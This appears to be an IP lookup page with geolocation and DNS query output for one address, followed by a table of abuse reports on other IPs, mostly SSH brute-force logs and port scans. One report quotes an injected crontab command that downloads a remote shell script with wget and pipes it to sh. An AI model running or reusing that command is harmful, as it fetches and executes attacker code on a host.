城市(city): Ashburn
省份(region): Virginia
国家(country): United States
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 64.130.3.114
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 30526
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;64.130.3.114. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2024121302 1800 900 604800 86400
;; Query time: 36 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Dec 14 12:23:33 CST 2024
;; MSG SIZE rcvd: 105114.3.130.64.in-addr.arpa domain name pointer 114.3.130.64.vpshouse.xyz.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
114.3.130.64.in-addr.arpa name = 114.3.130.64.vpshouse.xyz.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 124.207.98.213 | attackbotsspam | May 8 15:40:12 meumeu sshd[26744]: Failed password for root from 124.207.98.213 port 17647 ssh2 May 8 15:42:10 meumeu sshd[27017]: Failed password for root from 124.207.98.213 port 19466 ssh2 May 8 15:44:10 meumeu sshd[27314]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=124.207.98.213 ... |
2020-05-08 22:13:21 |
| 54.66.147.0 | attack | (sshd) Failed SSH login from 54.66.147.0 (AU/Australia/ec2-54-66-147-0.ap-southeast-2.compute.amazonaws.com): 3 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: May 8 12:12:59 andromeda sshd[3219]: Invalid user tecnici from 54.66.147.0 port 57040 May 8 12:13:01 andromeda sshd[3219]: Failed password for invalid user tecnici from 54.66.147.0 port 57040 ssh2 May 8 12:14:14 andromeda sshd[3238]: Invalid user bmt from 54.66.147.0 port 38656 |
2020-05-08 22:29:28 |
| 51.15.56.133 | attack | sshd: Failed password for invalid user gitlab from 51.15.56.133 port 57910 ssh2 (14 attempts) |
2020-05-08 22:25:40 |
| 58.221.11.42 | attackspam | CN_APNIC-HM_<177>1588940082 [1:2403378:57130] ET CINS Active Threat Intelligence Poor Reputation IP TCP group 40 [Classification: Misc Attack] [Priority: 2]: |
2020-05-08 22:02:02 |
| 62.28.217.62 | attack | SSH brute-force: detected 8 distinct usernames within a 24-hour window. |
2020-05-08 22:01:33 |
| 46.101.151.97 | attackbotsspam | May 8 14:01:23 Ubuntu-1404-trusty-64-minimal sshd\[8687\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=46.101.151.97 user=root May 8 14:01:25 Ubuntu-1404-trusty-64-minimal sshd\[8687\]: Failed password for root from 46.101.151.97 port 48536 ssh2 May 8 14:14:10 Ubuntu-1404-trusty-64-minimal sshd\[16580\]: Invalid user gnuworld from 46.101.151.97 May 8 14:14:10 Ubuntu-1404-trusty-64-minimal sshd\[16580\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=46.101.151.97 May 8 14:14:12 Ubuntu-1404-trusty-64-minimal sshd\[16580\]: Failed password for invalid user gnuworld from 46.101.151.97 port 39745 ssh2 |
2020-05-08 22:34:44 |
| 119.254.7.114 | attackbotsspam | May 8 12:56:51 ip-172-31-62-245 sshd\[23197\]: Invalid user designer from 119.254.7.114\ May 8 12:56:53 ip-172-31-62-245 sshd\[23197\]: Failed password for invalid user designer from 119.254.7.114 port 27049 ssh2\ May 8 13:01:50 ip-172-31-62-245 sshd\[23217\]: Invalid user kazuki from 119.254.7.114\ May 8 13:01:52 ip-172-31-62-245 sshd\[23217\]: Failed password for invalid user kazuki from 119.254.7.114 port 58858 ssh2\ May 8 13:06:50 ip-172-31-62-245 sshd\[23266\]: Invalid user laura from 119.254.7.114\ |
2020-05-08 22:09:48 |
| 49.69.117.38 | attackspambots | Forbidden directory scan :: 2020/05/08 12:14:28 [error] 1046#1046: *329243 access forbidden by rule, client: 49.69.117.38, server: [censored_1], request: "GET /knowledge-base/... HTTP/1.1", host: "www.[censored_1]" |
2020-05-08 22:17:50 |
| 195.3.146.118 | attackbots | crontab of www-data user on server got injected with CRON[307188]: (www-data) CMD (wget -q -O - http://195.3.146.118/ex.sh | sh > /dev/null 2>&1) |
2020-05-08 22:09:25 |
| 110.45.155.101 | attackbotsspam | May 8 14:46:18 mail sshd[1991]: Invalid user geoeast from 110.45.155.101 May 8 14:46:18 mail sshd[1991]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=110.45.155.101 May 8 14:46:18 mail sshd[1991]: Invalid user geoeast from 110.45.155.101 May 8 14:46:20 mail sshd[1991]: Failed password for invalid user geoeast from 110.45.155.101 port 44952 ssh2 May 8 14:52:27 mail sshd[2755]: Invalid user admin1 from 110.45.155.101 ... |
2020-05-08 22:10:38 |
| 185.183.159.173 | attackspambots | May 7 13:49:50 mail sshd[2952]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.183.159.173 May 7 13:49:53 mail sshd[2952]: Failed password for invalid user silence from 185.183.159.173 port 42636 ssh2 ... |
2020-05-08 21:57:43 |
| 77.42.73.190 | attack | Automatic report - Port Scan Attack |
2020-05-08 22:32:46 |
| 185.116.254.5 | attackspam | IP was detected trying to Brute-Force SSH, FTP, Web Apps, Port-Scan or Hacking. |
2020-05-08 22:16:37 |
| 117.7.238.227 | attackbotsspam | Port probing on unauthorized port 23 |
2020-05-08 22:33:35 |
| 91.205.75.29 | attackspambots | probing for PHP exploits |
2020-05-08 22:38:31 |